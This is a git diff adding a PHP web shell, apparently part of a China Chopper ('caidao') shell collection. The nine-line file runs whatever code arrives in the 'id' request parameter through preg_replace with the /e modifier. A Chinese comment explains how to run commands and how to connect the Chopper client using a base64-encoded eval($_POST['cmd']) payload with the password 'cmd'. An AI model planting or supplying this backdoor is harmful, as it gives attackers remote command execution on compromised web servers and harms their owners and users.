diff --git a/caidao-shell/w01.php b/caidao-shell/w01.php
new file mode 100644
index 0000000..7f6dc10
--- /dev/null
+++ b/caidao-shell/w01.php
@@ -0,0 +1,9 @@
+<?php  
+$a = $_REQUEST['id'];
+preg_replace('/.*/e',' '.$a,'');
+?>
+
+/* 
+执行方法:?id=eval('phpinfo();');
+菜刀连接方法:00.php?id=eval%28base64_decode%28%22QGV2YWwoJF9QT1NUWydjbWQnXSk7%22%29%29;  密码cmd
+*/